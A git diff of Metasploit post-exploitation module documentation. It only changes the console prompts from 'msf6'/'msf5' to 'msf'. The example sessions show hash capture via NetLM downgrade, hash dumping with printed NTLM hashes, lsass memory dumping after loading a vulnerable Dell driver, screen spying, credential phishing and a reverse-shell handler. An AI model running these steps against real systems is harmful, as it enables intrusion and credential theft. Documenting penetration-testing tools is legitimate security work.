b/documentation/modules/post/windows/gather/netlm_downgrade.md index f0fcd60186676..df9d9c0b616c2 100644 --- a/documentation/modules/post/windows/gather/netlm_downgrade.md +++ b/documentation/modules/post/windows/gather/netlm_downgrade.md @@ -29,16 +29,16 @@ IP address of SMB server to capture hashes. ### Windows 11 Pro 10.0.22000 Build 22000 x64 ``` -msf6 > use auxiliary/server/capture/smb -msf6 auxiliary(server/capture/smb) > run +msf > use auxiliary/server/capture/smb +msf auxiliary(server/capture/smb) > run [*] Auxiliary module running as background job 2. [*] Server is running. Listening on 0.0.0.0:445 [*] Server started. -msf6 auxiliary(server/capture/smb) > use post/windows/gather/netlm_downgrade -msf6 post(windows/gather/netlm_downgrade) > set session 1 +msf auxiliary(server/capture/smb) > use post/windows/gather/netlm_downgrade +msf post(windows/gather/netlm_downgrade) > set session 1 session => 1 -msf6 post(windows/gather/netlm_downgrade) > run +msf post(windows/gather/netlm_downgrade) > run [*] Running module against WINDEV2110EVAL (192.168.200.140) [*] NetLM authentication is disabled (LmCompatibilityLevel: nil). Enabling ... @@ -52,24 +52,24 @@ msf6 post(windows/gather/netlm_downgrade) > run [+] SMB server 192.168.200.130 should now have NetLM hashes [*] Restoring original LM compatibility level (LmCompatibilityLevel: nil) [*] Post module execution completed -msf6 post(windows/gather/netlm_downgrade) > +msf post(windows/gather/netlm_downgrade) > ``` ### Windows Server 2008 SP1 (x64) ``` -msf6 > use auxiliary/server/capture/smb -msf6 auxiliary(server/capture/smb) > run +msf > use auxiliary/server/capture/smb +msf auxiliary(server/capture/smb) > run [*] Auxiliary module running as background job 2. [*] Server is running. Listening on 0.0.0.0:445 [*] Server started. -msf6 auxiliary(server/capture/smb) > use post/windows/gather/netlm_downgrade -msf6 post(windows/gather/netlm_downgrade) > set smbhost 192.168.200.130 +msf auxiliary(server/capture/smb) > use post/windows/gather/netlm_downgrade +msf post(windows/gather/netlm_downgrade) > set smbhost 192.168.200.130 smbhost => 192.168.200.130 -msf6 post(windows/gather/netlm_downgrade) > set session 1 +msf post(windows/gather/netlm_downgrade) > set session 1 session => 1 -msf6 post(windows/gather/netlm_downgrade) > run +msf post(windows/gather/netlm_downgrade) > run [*] Running module against WIN-17B09RRRJTG (192.168.200.218) [*] NetLM authentication is disabled (LmCompatibilityLevel: 3). Enabling ... @@ -83,7 +83,7 @@ msf6 post(windows/gather/netlm_downgrade) > run [+] SMB server 192.168.200.130 should now have NetLM hashes [*] Restoring original LM compatibility level (LmCompatibilityLevel: 3) [*] Post module execution completed -msf6 post(windows/gather/netlm_downgrade) > +msf post(windows/gather/netlm_downgrade) > ``` Alternatively, the SMB connection can captured using [Responder](https://github.com/lgandx/Responder): diff --git a/documentation/modules/post/windows/gather/phish_windows_credentials.md b/documentation/modules/post/windows/gather/phish_windows_credentials.md index abba7e2e0c5fe..391e6a1a9db68 100644 --- a/documentation/modules/post/windows/gather/phish_windows_credentials.md +++ b/documentation/modules/post/windows/gather/phish_windows_credentials.md @@ -39,9 +39,9 @@ msf > use post/windows/gather/phish_windows_credentials msf post(windows/gather/phish_windows_credentials) > set SESSION 1 SESSION => 1 - msf5 post(windows/gather/phish_windows_credentials) > set PROCESS * + msf post(windows/gather/phish_windows_credentials) > set PROCESS * PROCESS => * - msf5 post(windows/gather/phish_windows_credentials) > exploit + msf post(windows/gather/phish_windows_credentials) > exploit [+] PowerShell is installed. [*] Monitoring new processes. diff --git a/documentation/modules/post/windows/gather/resolve_sid.md b/documentation/modules/post/windows/gather/resolve_sid.md index e8f9c7ee4bc02..875d063c02cba 100644 --- a/documentation/modules/post/windows/gather/resolve_sid.md +++ b/documentation/modules/post/windows/gather/resolve_sid.md @@ -30,12 +30,12 @@ Where to search. If undefined, first local then trusted DCs. ### Windows 2008 SP1 DC ``` -msf6 > use post/windows/gather/resolve_sid -msf6 post(windows/gather/resolve_sid) > set sid S-1-5-32-544 +msf > use post/windows/gather/resolve_sid +msf post(windows/gather/resolve_sid) > set sid S-1-5-32-544 sid => S-1-5-32-544 -msf6 post(windows/gather/resolve_sid) > set session 1 +msf post(windows/gather/resolve_sid) > set session 1 session => 1 -msf6 post(windows/gather/resolve_sid) > run +msf post(windows/gather/resolve_sid) > run [*] SID Type: alias [*] Name: Administrators diff --git a/documentation/modules/post/windows/gather/screen_spy.md b/documentation/modules/post/windows/gather/screen_spy.md index c52c4ca0a1d32..48974173943be 100644 --- a/documentation/modules/post/windows/gather/screen_spy.md +++ b/documentation/modules/post/windows/gather/screen_spy.md @@ -30,10 +30,10 @@ PID to migrate into before taking the screenshots. If no PID is specified, defau ### Windows 10 20H2 (No Database Connected But RECORD Flag Set) ``` -msf6 exploit(multi/handler) > use post/windows/gather/screen_spy -msf6 post(windows/gather/screen_spy) > set SESSION 1 +msf exploit(multi/handler) > use post/windows/gather/screen_spy +msf post(windows/gather/screen_spy) > set SESSION 1 SESSION => 1 -msf6 post(windows/gather/screen_spy) > show options +msf post(windows/gather/screen_spy) > show options Module options (post/windows/gather/screen_spy): @@ -46,9 +46,9 @@ Module options (post/windows/gather/screen_spy): SESSION 1 yes The session to run this module on. VIEW_SCREENSHOTS false no View screenshots automatically -msf6 post(windows/gather/screen_spy) > set SESSION 2 +msf post(windows/gather/screen_spy) > set SESSION 2 SESSION => 2 -msf6 post(windows/gather/screen_spy) > run +msf post(windows/gather/screen_spy) > run [*] Capturing 6 screenshots with a delay of 5 seconds [-] RECORD flag specified however the database is not connected, so no loot can be stored! @@ -57,14 +57,14 @@ msf6 post(windows/gather/screen_spy) > run ### Windows 10 20H2 (No Database Connected, RECORD flag not set) ``` -msf6 exploit(multi/handler) > use post/windows/gather/screen_spy -msf6 post(windows/gather/screen_spy) > set SESSION 2 +msf exploit(multi/handler) > use post/windows/gather/screen_spy +msf post(windows/gather/screen_spy) > set SESSION 2 SESSION => 2 -msf6 post(windows/gather/screen_spy) > set RECORD false +msf post(windows/gather/screen_spy) > set RECORD false RECORD => false -msf6 post(windows/gather/screen_spy) > set VIEW_SCREENSHOTS true +msf post(windows/gather/screen_spy) > set VIEW_SCREENSHOTS true VIEW_SCREENSHOTS => true -msf6 post(windows/gather/screen_spy) > show options +msf post(windows/gather/screen_spy) > show options Module options (post/windows/gather/screen_spy): @@ -77,25 +77,25 @@ Module options (post/windows/gather/screen_spy): SESSION 2 yes The session to run this module on. VIEW_SCREENSHOTS true no View screenshots automatically -msf6 post(windows/gather/screen_spy) > run +msf post(windows/gather/screen_spy) > run [*] Capturing 6 screenshots with a delay of 5 seconds [*] Screen Spying Complete [*] Post module execution completed -msf6 post(windows/gather/screen_spy) > +msf post(windows/gather/screen_spy) > ``` ### Windows 10 20H2 (No Database Connected, RECORD flag not set, PID set to Process to Migrate To) ``` -msf6 exploit(multi/handler) > use post/windows/gather/screen_spy -msf6 post(windows/gather/screen_spy) > set SESSION 2 +msf exploit(multi/handler) > use post/windows/gather/screen_spy +msf post(windows/gather/screen_spy) > set SESSION 2 SESSION => 2 -msf6 post(windows/gather/screen_spy) > set RECORD false +msf post(windows/gather/screen_spy) > set RECORD false RECORD => false -msf6 post(windows/gather/screen_spy) > set VIEW_SCREENSHOTS true +msf post(windows/gather/screen_spy) > set VIEW_SCREENSHOTS true VIEW_SCREENSHOTS => true -msf6 post(windows/gather/screen_spy) > sessions -i 2 +msf post(windows/gather/screen_spy) > sessions -i 2 [*] Starting interaction with 2... meterpreter > ps -aux @@ -116,25 +116,25 @@ Process List meterpreter > background [*] Backgrounding session 2... -msf6 post(windows/gather/screen_spy) > set PID 8664 +msf post(windows/gather/screen_spy) > set PID 8664 PID => 8664 -msf6 post(windows/gather/screen_spy) > run +msf post(windows/gather/screen_spy) > run [+] Migration successful [*] Capturing 6 screenshots with a delay of 5 seconds [*] Screen Spying Complete [*] Post module execution completed -msf6 post(windows/gather/screen_spy) > +msf post(windows/gather/screen_spy) > ``` ### Windows 10 20H2 (Database Connected, RECORD flag set) ``` -msf6 > use post/windows/gather/screen_spy -msf6 post(windows/gather/screen_spy) > db_status +msf > use post/windows/gather/screen_spy +msf post(windows/gather/screen_spy) > db_status [*] Connected to msf. Connection type: postgresql. -msf6 post(windows/gather/screen_spy) > set SESSION 2 +msf post(windows/gather/screen_spy) > set SESSION 2 SESSION => 2 -msf6 post(windows/gather/screen_spy) > show options +msf post(windows/gather/screen_spy) > show options Module options (post/windows/gather/screen_spy): @@ -147,13 +147,13 @@ Module options (post/windows/gather/screen_spy): SESSION 2 yes The session to run this module on. VIEW_SCREENSHOTS false no View screenshots automatically -msf6 post(windows/gather/screen_spy) > run +msf post(windows/gather/screen_spy) > run [*] Capturing 6 screenshots with a delay of 5 seconds [*] Screen Spying Complete [*] run loot -t screenspy.screenshot to see file locations of your newly acquired loot [*] Post module execution completed -msf6 post(windows/gather/screen_spy) > loot +msf post(windows/gather/screen_spy) > loot Loot ==== @@ -179,5 +179,5 @@ host service type name content info t efault_172.25.128.214_screenspy.screen_498 562.jpg -msf6 post(windows/gather/screen_spy) > +msf post(windows/gather/screen_spy) > ``` diff --git a/documentation/modules/post/windows/gather/smart_hashdump.md b/documentation/modules/post/windows/gather/smart_hashdump.md index c5872d40c7cf5..576f2da1d4c96 100644 --- a/documentation/modules/post/windows/gather/smart_hashdump.md +++ b/documentation/modules/post/windows/gather/smart_hashdump.md @@ -38,8 +38,8 @@ to elevate themselves to `NT AUTHORITY\SYSTEM` using Metasploit's `getsystem` mo to dump the password hashes. ``` -msf6 exploit(multi/handler) > use post/windows/gather/smart_hashdump -msf6 post(windows/gather/smart_hashdump) > show options +msf exploit(multi/handler) > use post/windows/gather/smart_hashdump +msf post(windows/gather/smart_hashdump) > show options Module options (post/windows/gather/smart_hashdump): @@ -48,9 +48,9 @@ Module options (post/windows/gather/smart_hashdump): GETSYSTEM false no Attempt to get SYSTEM privilege on the target host. SESSION yes The session to run this module on. -msf6 post(windows/gather/smart_hashdump) > set SESSION 1 +msf post(windows/gather/smart_hashdump) > set SESSION 1 SESSION => 1 -msf6 post(windows/gather/smart_hashdump) > run +msf post(windows/gather/smart_hashdump) > run [*] Running module against DESKTOP-G7A2R2R [*] Hashes will be saved to the database if one is connected. @@ -58,9 +58,9 @@ msf6 post(windows/gather/smart_hashdump) > run [*] /home/kali/.msf4/loot/20201008121933_default_192.168.56.117_windows.hashes_338495.txt [-] Insufficient privileges to dump hashes! [*] Post module execution completed -msf6 post(windows/gather/smart_hashdump) > set GETSYSTEM true +msf post(windows/gather/smart_hashdump) > set GETSYSTEM true GETSYSTEM => true -msf6 post(windows/gather/smart_hashdump) > run +msf post(windows/gather/smart_hashdump) > run [*] Running module against DESKTOP-G7A2R2R [*] Hashes will be saved to the database if one is connected. @@ -85,7 +85,7 @@ msf6 post(windows/gather/smart_hashdump) > run **Running as the SYSTEM user on Windows 7 x64 SP1** ``` -msf6 exploit(multi/handler) > exploit +msf exploit(multi/handler) > exploit [*] Started bind TCP handler against 172.24.15.185:4444 [*] Sending stage (200262 bytes) to 172.24.15.185 @@ -99,8 +99,8 @@ meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > background [*] Backgrounding session 1... -msf6 exploit(multi/handler) > use post/windows/gather/smart_hashdump -msf6 post(windows/gather/smart_hashdump) > sessions -i 1 +msf exploit(multi/handler) > use post/windows/gather/smart_hashdump +msf post(windows/gather/smart_hashdump) > sessions -i 1 [*] Starting interaction with 1... meterpreter > sysinfo @@ -113,9 +113,9 @@ Logged On Users : 2 Meterpreter : x64/windows meterpreter > background [*] Backgrounding session 1... -msf6 post(windows/gather/smart_hashdump) > set SESSION 1 +msf post(windows/gather/smart_hashdump) > set SESSION 1 SESSION => 1 -msf6 post(windows/gather/smart_hashdump) > run +msf post(windows/gather/smart_hashdump) > run [*] Running module against TEST-PC [*] Hashes will be saved to the database if one is connected. @@ -135,5 +135,5 @@ msf6 post(windows/gather/smart_hashdump) > run [+] test:1000:aad3b435b51404eeaad3b435b51404ee:0cb6948805f797bf2a82807973b89537::: [+] test2:1001:aad3b435b51404eeaad3b435b51404ee:0e8231621f574d3636255ff36dd86c9c::: [*] Post module execution completed -msf6 post(windows/gather/smart_hashdump) > +msf post(windows/gather/smart_hashdump) > ``` diff --git a/documentation/modules/post/windows/gather/wmic_command.md b/documentation/modules/post/windows/gather/wmic_command.md index 04c3c0e12ce8f..22740dca7906e 100644 --- a/documentation/modules/post/windows/gather/wmic_command.md +++ b/documentation/modules/post/windows/gather/wmic_command.md @@ -30,22 +30,22 @@ WMIC command. ### Windows Server 2008 SP1 (x64) ``` -msf6 > use post/windows/gather/wmic_command -msf6 post(windows/gather/wmic_command) > set session 1 +msf > use post/windows/gather/wmic_command +msf post(windows/gather/wmic_command) > set session 1 session => 1 -msf6 post(windows/gather/wmic_command) > set command os +msf post(windows/gather/wmic_command) > set command os command => os -msf6 post(windows/gather/wmic_command) > run +msf post(windows/gather/wmic_command) > run [*] Running module against WIN-17B09RRRJTG (192.168.200.218) [*] Running WMIC command: os [*] Command output saved to: /root/.msf4/loot/20220922071306_default_192.168.200.218_host.command.wmi_789917.txt [*] Post module execution completed -msf6 post(windows/gather/wmic_command) > cat /root/.msf4/loot/20220922071306_default_192.168.200.218_host.command.wmi_789917.txt +msf post(windows/gather/wmic_command) > cat /root/.msf4/loot/20220922071306_default_192.168.200.218_host.command.wmi_789917.txt [*] exec: cat /root/.msf4/loot/20220922071306_default_192.168.200.218_host.command.wmi_789917.txt BootDevice BuildNumber BuildType Caption CodeSet CountryCode CreationClassName CSCreationClassName CSDVersion CSName CurrentTimeZone DataExecutionPrevention_32BitApplications DataExecutionPrevention_Available DataExecutionPrevention_Drivers DataExecutionPrevention_SupportPolicy Debug Description Distributed EncryptionLevel ForegroundApplicationBoost FreePhysicalMemory FreeSpaceInPagingFiles FreeVirtualMemory InstallDate LargeSystemCache LastBootUpTime LocalDateTime Locale Manufacturer MaxNumberOfProcesses MaxProcessMemorySize MUILanguages Name NumberOfLicensedUsers NumberOfProcesses NumberOfUsers OperatingSystemSKU Organization OSArchitecture OSLanguage OSProductSuite OSType OtherTypeDescription PAEEnabled PlusProductID PlusVersionNumber Primary ProductType QuantumLength QuantumType RegisteredUser SerialNumber ServicePackMajorVersion ServicePackMinorVersion SizeStoredInPagingFiles Status SuiteMask SystemDevice SystemDirectory SystemDrive TotalSwapSpaceSize TotalVirtualMemorySize TotalVisibleMemorySize Version WindowsDirectory \Device\HarddiskVolume1 6001 Multiprocessor Free Microsoft� Windows Server� 2008 Enterprise 1252 1 Win32_OperatingSystem Win32_ComputerSystem Service Pack 1 WIN-17B09RRRJTG 600 TRUE TRUE TRUE 3 FALSE FALSE 256 2 507164 1354124 1788752 20220722133039.000000+600 20220922115509.500000+600 20220922211154.399000+600 0409 Microsoft Corporation -1 8589934464 {"en-US"} Microsoft� Windows Server� 2008 Enterprise |C:\Windows|\Device\Harddisk0\Partition1 47 4 10 64-bit 1033 274 18 TRUE 2 1 1 Windows User 92516-083-1766663-76902 1 0 1354124 OK 274 \Device\HarddiskVolume1 C:\Windows\system32 C: 2358168 1046924 6.0.6001 C:\Windows -msf6 post(windows/gather/wmic_command) > +msf post(windows/gather/wmic_command) > ``` diff --git a/documentation/modules/post/windows/manage/dell_memory_protect.md b/documentation/modules/post/windows/manage/dell_memory_protect.md index bbffd407962ad..89d88143e74c9 100644 --- a/documentation/modules/post/windows/manage/dell_memory_protect.md +++ b/documentation/modules/post/windows/manage/dell_memory_protect.md @@ -111,8 +111,8 @@ Process List meterpreter > background [*] Backgrounding session 1... -msf6 exploit(multi/handler) > use post/windows/gather/memory_dump -msf6 post(windows/gather/memory_dump) > options +msf exploit(multi/handler) > use post/windows/gather/memory_dump +msf post(windows/gather/memory_dump) > options Module options (post/windows/gather/memory_dump): @@ -123,19 +123,19 @@ Module options (post/windows/gather/memory_dump): PID yes ID of the process to dump memory from SESSION yes The session to run this module on -msf6 post(windows/gather/memory_dump) > set SESSION 1 +msf post(windows/gather/memory_dump) > set SESSION 1 SESSION => 1 -msf6 post(windows/gather/memory_dump) > set PID 740 +msf post(windows/gather/memory_dump) > set PID 740 PID => 740 -msf6 post(windows/gather/memory_dump) > set DUMP_PATH C:\\Windows\\Temp\\lsass_dump +msf post(windows/gather/memory_dump) > set DUMP_PATH C:\\Windows\\Temp\\lsass_dump DUMP_PATH => C:\Windows\Temp\lsass_dump -msf6 post(windows/gather/memory_dump) > run +msf post(windows/gather/memory_dump) > run [*] Running module against BADBLOOD [*] Dumping memory for lsass.exe [-] Post aborted due to failure: payload-failed: Unable to open process: Access is denied. [*] Post module execution completed -msf6 post(windows/gather/memory_dump) > sessions -i 1 +msf post(windows/gather/memory_dump) > sessions -i 1 [*] Starting interaction with 1... meterpreter > upload /home/albinolobster/drivers/2_7/ C:\\Windows\\Temp @@ -149,8 +149,8 @@ meterpreter > upload /home/albinolobster/drivers/2_7/ C:\\Windows\\Temp [*] uploaded : /home/albinolobster/drivers/2_7/DBUtilDrv2.sys -> C:\Windows\Temp\DBUtilDrv2.sys meterpreter > background [*] Backgrounding session 1... -msf6 post(windows/gather/memory_dump) > use post/windows/manage/dell_memory_protect -msf6 post(windows/manage/dell_memory_protect) > options +msf post(windows/gather/memory_dump) > use post/windows/manage/dell_memory_protect +msf post(windows/manage/dell_memory_protect) > options Module options (post/windows/manage/dell_memory_protect): @@ -161,13 +161,13 @@ Module options (post/windows/manage/dell_memory_protect): PID yes The targeted process SESSION yes The session to run this module on -msf6 post(windows/manage/dell_memory_protect) > set SESSION 1 +msf post(windows/manage/dell_memory_protect) > set SESSION 1 SESSION => 1 -msf6 post(windows/manage/dell_memory_protect) > set DRIVER_PATH C:\\Windows\\Temp +msf post(windows/manage/dell_memory_protect) > set DRIVER_PATH C:\\Windows\\Temp DRIVER_PATH => C:\Windows\Temp -msf6 post(windows/manage/dell_memory_protect) > set PID 740 +msf post(windows/manage/dell_memory_protect) > set PID 740 PID => 740 -msf6 post(windows/manage/dell_memory_protect) > run +msf post(windows/manage/dell_memory_protect) > run [!] SESSION may not be compatible with this module: [!] * missing Meterpreter features: stdapi_sys_process_set_term_size @@ -176,8 +176,8 @@ msf6 post(windows/manage/dell_memory_protect) > run [*] Reflectively injecting the DLL into 692... [+] Exploit finished [*] Post module execution completed -msf6 post(windows/manage/dell_memory_protect) > use post/windows/gather/memory_dump -msf6 post(windows/gather/memory_dump) > options +msf post(windows/manage/dell_memory_protect) > use post/windows/gather/memory_dump +msf post(windows/gather/memory_dump) > options Module options (post/windows/gather/memory_dump): @@ -188,7 +188,7 @@ Module options (post/windows/gather/memory_dump): PID 740 yes ID of the process to dump memory from SESSION 1 yes The session to run this module on -msf6 post(windows/gather/memory_dump) > run +msf post(windows/gather/memory_dump) > run [*] Running module against BADBLOOD [*] Dumping memory for lsass.exe @@ -196,7 +196,7 @@ msf6 post(windows/gather/memory_dump) > run [+] Memory dump stored at /home/albinolobster/.msf4/loot/20211207125102_default_172.16.144.11_windows.process._368616.bin [*] Deleting minidump from disk [*] Post module execution completed -msf6 post(windows/gather/memory_dump) > +msf post(windows/gather/memory_dump) > ``` ### Windows 10 Build 19044.1348 x64 using DBUtilDrv2 version 2.5 @@ -229,20 +229,20 @@ Process List meterpreter > background [*] Backgrounding session 1... -msf6 exploit(multi/handler) > use post/windows/gather/memory_dump -msf6 post(windows/gather/memory_dump) > set SESSION 1 +msf exploit(multi/handler) > use post/windows/gather/memory_dump +msf post(windows/gather/memory_dump) > set SESSION 1 SESSION => 1 -msf6 post(windows/gather/memory_dump) > set PID 732 +msf post(windows/gather/memory_dump) > set PID 732 PID => 732 -msf6 post(windows/gather/memory_dump) > set DUMP_PATH C:\\Windows\\Temp\\lsass_dump +msf post(windows/gather/memory_dump) > set DUMP_PATH C:\\Windows\\Temp\\lsass_dump DUMP_PATH => C:\Windows\Temp\lsass_dump -msf6 post(windows/gather/memory_dump) > run +msf post(windows/gather/memory_dump) > run [*] Running module against DESKTOP-JCD6JN8 [*] Dumping memory for lsass.exe [-] Post aborted due to failure: payload-failed: Unable to open process: Access is denied. [*] Post module execution completed -msf6 post(windows/gather/memory_dump) > sessions -i 1 +msf post(windows/gather/memory_dump) > sessions -i 1 [*] Starting interaction with 1... meterpreter > upload /home/albinolobster/drivers/2_5/ C:\\Windows\\Temp\\ @@ -254,14 +254,14 @@ meterpreter > upload /home/albinolobster/drivers/2_5/ C:\\Windows\\Temp\\ [*] uploaded : /home/albinolobster/drivers/2_5/DBUtilDrv2.sys -> C:\Windows\Temp\\DBUtilDrv2.sys meterpreter > background [*] Backgrounding session 1... -msf6 post(windows/gather/memory_dump) > use post/windows/manage/dell_memory_protect -msf6 post(windows/manage/dell_memory_protect) > set SESSION 1 +msf post(windows/gather/memory_dump) > use post/windows/manage/dell_memory_protect +msf post(windows/manage/dell_memory_protect) > set SESSION 1 SESSION => 1 -msf6 post(windows/manage/dell_memory_protect) > set DRIVER_PATH C:\\Windows\\Temp\\ +msf post(windows/manage/dell_memory_protect) > set DRIVER_PATH C:\\Windows\\Temp\\ DRIVER_PATH => C:\Windows\Temp\ -msf6 post(windows/manage/dell_memory_protect) > set PID 732 +msf post(windows/manage/dell_memory_protect) > set PID 732 PID => 732 -msf6 post(windows/manage/dell_memory_protect) > run +msf post(windows/manage/dell_memory_protect) > run [!] SESSION may not be compatible with this module: [!] * missing Meterpreter features: stdapi_sys_process_set_term_size @@ -270,8 +270,8 @@ msf6 post(windows/manage/dell_memory_protect) > run [*] Reflectively injecting the DLL into 3508... [+] Exploit finished [*] Post module execution completed -msf6 post(windows/manage/dell_memory_protect) > use post/windows/gather/memory_dump -msf6 post(windows/gather/memory_dump) > run +msf post(windows/manage/dell_memory_protect) > use post/windows/gather/memory_dump +msf post(windows/gather/memory_dump) > run [*] Running module against DESKTOP-JCD6JN8 [*] Dumping memory for lsass.exe @@ -279,7 +279,7 @@ msf6 post(windows/gather/memory_dump) > run [+] Memory dump stored at /home/albinolobster/.msf4/loot/20211208072121_default_172.16.144.6_windows.process._495675.bin [*] Deleting minidump from disk [*] Post module execution completed -msf6 post(windows/gather/memory_dump) > +msf post(windows/gather/memory_dump) > ``` ### Windows Server 2016 (10.0.14393) x64 using DBUtilDrv2 version 2.5 and PID option set to 0 @@ -312,20 +312,20 @@ Process List meterpreter > background [*] Backgrounding session 1... -msf6 exploit(multi/handler) > use post/windows/gather/memory_dump -msf6 post(windows/gather/memory_dump) > set SESSIOn 1 +msf exploit(multi/handler) > use post/windows/gather/memory_dump +msf post(windows/gather/memory_dump) > set SESSIOn 1 SESSIOn => 1 -msf6 post(windows/gather/memory_dump) > set PID 664 +msf post(windows/gather/memory_dump) > set PID 664 PID => 664 -msf6 post(windows/gather/memory_dump) > set DUMP_PATH C:\\Windows\\Temp\\lsass_dump +msf post(windows/gather/memory_dump) > set DUMP_PATH C:\\Windows\\Temp\\lsass_dump DUMP_PATH => C:\Windows\Temp\lsass_dump -msf6 post(windows/gather/memory_dump) > run +msf post(windows/gather/memory_dump) > run [*] Running module against WIN-7ESIGFVFQEG [*] Dumping memory for lsass.exe [-] Post aborted due to failure: payload-failed: Unable to open process: Access is denied. [*] Post module execution completed -msf6 post(windows/gather/memory_dump) > sessions -i 1 +msf post(windows/gather/memory_dump) > sessions -i 1 [*] Starting interaction with 1... meterpreter > upload /home/albinolobster/drivers/2_5/ C:\\Windows\\Temp\\ @@ -337,12 +337,12 @@ meterpreter > upload /home/albinolobster/drivers/2_5/ C:\\Windows\\Temp\\ [*] uploaded : /home/albinolobster/drivers/2_5/DBUtilDrv2.sys -> C:\Windows\Temp\\DBUtilDrv2.sys meterpreter > background [*] Backgrounding session 1... -msf6 post(windows/gather/memory_dump) > use post/windows/manage/dell_memory_protect -msf6 post(windows/manage/dell_memory_protect) > set DRIVER_PATH C:\\Windows\\Temp\\ +msf post(windows/gather/memory_dump) > use post/windows/manage/dell_memory_protect +msf post(windows/manage/dell_memory_protect) > set DRIVER_PATH C:\\Windows\\Temp\\ DRIVER_PATH => C:\Windows\Temp\ -msf6 post(windows/manage/dell_memory_protect) > set SESSION 1 +msf post(windows/manage/dell_memory_protect) > set SESSION 1 SESSION => 1 -msf6 post(windows/manage/dell_memory_protect) > run +msf post(windows/manage/dell_memory_protect) > run [*] Set PID option 664 for lsass.exe [*] Launching netsh to host the DLL... @@ -350,8 +350,8 @@ msf6 post(windows/manage/dell_memory_protect) > run [*] Reflectively injecting the DLL into 3008... [+] Exploit finished [*] Post module execution completed -msf6 post(windows/manage/dell_memory_protect) > use post/windows/gather/memory_dump -msf6 post(windows/gather/memory_dump) > run +msf post(windows/manage/dell_memory_protect) > use post/windows/gather/memory_dump +msf post(windows/gather/memory_dump) > run [*] Running module against WIN-7ESIGFVFQEG [*] Dumping memory for lsass.exe @@ -359,5 +359,5 @@ msf6 post(windows/gather/memory_dump) > run [+] Memory dump stored at /home/albinolobster/.msf4/loot/20211218041511_default_172.16.144.14_windows.process._536152.bin [*] Deleting minidump from disk [*] Post module execution completed -msf6 post(windows/gather/memory_dump) > +msf post(windows/gather/memory_dump) > ``` diff --git a/documentation/modules/post/windows/manage/execute_dotnet_assembly.md b/documentation/modules/post/windows/manage/execute_dotnet_assembly.md index ba8765e46c1fb..196a2f610d173 100644 --- a/documentation/modules/post/windows/manage/execute_dotnet_assembly.md +++ b/documentation/modules/post/windows/manage/execute_dotnet_assembly.md @@ -33,7 +33,7 @@ You'll find details at [Execute assembly via Meterpreter session](https://b4rtik 1. The assembly should run. ``` -msf5 post(windows/manage/execute_dotnet_assembly) > run +msf post(windows/manage/execute_dotnet_assembly) > run [*] Launching notepad.exe to host CLR... [+] Process 10628 launched. @@ -151,4 +151,4 @@ Module options (post/windows/manage/execute_dotnet_assembly): ---- --------------- -------- ----------- KILL true yes Kill the launched process at the end of the task -``` \ No newline at end of file +``` diff --git a/documentation/modules/post/windows/manage/forward_pageant.md b/documentation/modules/post/windows/manage/forward_pageant.md index f1138e7dc7079..942d8a4e4b84a 100644 --- a/documentation/modules/post/windows/manage/forward_pageant.md +++ b/documentation/modules/post/windows/manage/forward_pageant.md @@ -31,10 +31,10 @@ Specify a filename for the local UNIX socket. (default path is random) Use `windows/gather/enum_putty_saved_sessions` to detect Pageant and known hosts: ``` -msf6 > use post/windows/gather/enum_putty_saved_sessions -msf6 post(windows/gather/enum_putty_saved_sessions) > set session 1 +msf > use post/windows/gather/enum_putty_saved_sessions +msf post(windows/gather/enum_putty_saved_sessions) > set session 1 session => 1 -msf6 post(windows/gather/enum_putty_saved_sessions) > run +msf post(windows/gather/enum_putty_saved_sessions) > run [*] Looking for saved PuTTY sessions [*] Found 3 sessions @@ -87,10 +87,10 @@ Stored SSH host key fingerprints Establish a local forward with `post/windows/manage/forward_pageant`: ``` -msf6 > use post/windows/manage/forward_pageant -msf6 post(windows/manage/forward_pageant) > set session 1 +msf > use post/windows/manage/forward_pageant +msf post(windows/manage/forward_pageant) > set session 1 session => 1 -msf6 post(windows/manage/forward_pageant) > run +msf post(windows/manage/forward_pageant) > run [*] Launched listening socket on /tmp/bVN4Dg2W [*] Set SSH_AUTH_SOCK variable to /tmp/bVN4Dg2W (e.g. export SSH_AUTH_SOCK="/tmp/bVN4Dg2W") diff --git a/documentation/modules/post/windows/manage/install_python.md b/documentation/modules/post/windows/manage/install_python.md index fb44566e74272..0544e54ebf4b5 100644 --- a/documentation/modules/post/windows/manage/install_python.md +++ b/documentation/modules/post/windows/manage/install_python.md @@ -47,20 +47,20 @@ This module has been tested against: Get initial access: Create a Meterpreter exe using msfvenom, then transfer it to the target system via web server, SMB, etc. Execute the payload to get a session. - msf5 > handler -H 0.0.0.0 -P 4444 -p windows/meterpreter/reverse_tcp + msf > handler -H 0.0.0.0 -P 4444 -p windows/meterpreter/reverse_tcp [*] Payload handler running as background job 0. [*] Started reverse TCP handler on 0.0.0.0:4444 - msf5 > + msf > [*] Sending stage (180291 bytes) to 192.168.13.129 [*] Meterpreter session 1 opened (192.168.13.130:4444 -> 192.168.13.129:50069) at 2020-03-04 20:32:59 -0500 Use the post module to install Python on the target filesystem - msf5 > use post/windows/manage/install_python - msf5 post(windows/manage/install_python) > set SESSION 1 + msf > use post/windows/manage/install_python + msf post(windows/manage/install_python) > set SESSION 1 SESSION => 1 - msf5 post(windows/manage/install_python) > exploit + msf post(windows/manage/install_python) > exploit [*] Downloading Python embeddable zip from https://www.python.org/ftp/python/3.8.2/python-3.8.2-embed-win32.zip [+] Compressed size: 1112 @@ -73,7 +73,7 @@ Use the post module to install Python on the target filesystem Verify Python works - msf5 post(windows/manage/install_python) > sessions -i 1 + msf post(windows/manage/install_python) > sessions -i 1 [*] Starting interaction with 1... meterpreter > shell diff --git a/documentation/modules/post/windows/manage/install_ssh.md b/documentation/modules/post/windows/manage/install_ssh.md index 643166342b6ea..43cbecee0cf81 100644 --- a/documentation/modules/post/windows/manage/install_ssh.md +++ b/documentation/modules/post/windows/manage/install_ssh.md @@ -35,10 +35,10 @@ Versions prior to Windows 10 are not supported. ### Install OpenSSH on Windows ``` - msf5 > use post/windows/manage/install_ssh - msf5 post(windows/manage/install_ssh) > set SESSION 1 + msf > use post/windows/manage/install_ssh + msf post(windows/manage/install_ssh) > set SESSION 1 SESSION => 1 - msf5 post(windows/manage/install_ssh) > exploit + msf post(windows/manage/install_ssh) > exploit [*] Installing OpenSSH.Server [*] Installing OpenSSH.Client @@ -51,18 +51,18 @@ When combined with capabilities such as SSH forwarding, SSH on Windows can provi ### Uninstall OpenSSH on Windows ``` - msf5 > use post/windows/manage/install_ssh - msf5 post(windows/manage/install_ssh) > set SESSION 1 + msf > use post/windows/manage/install_ssh + msf post(windows/manage/install_ssh) > set SESSION 1 SESSION => 1 - msf5 post(windows/manage/install_ssh) > set 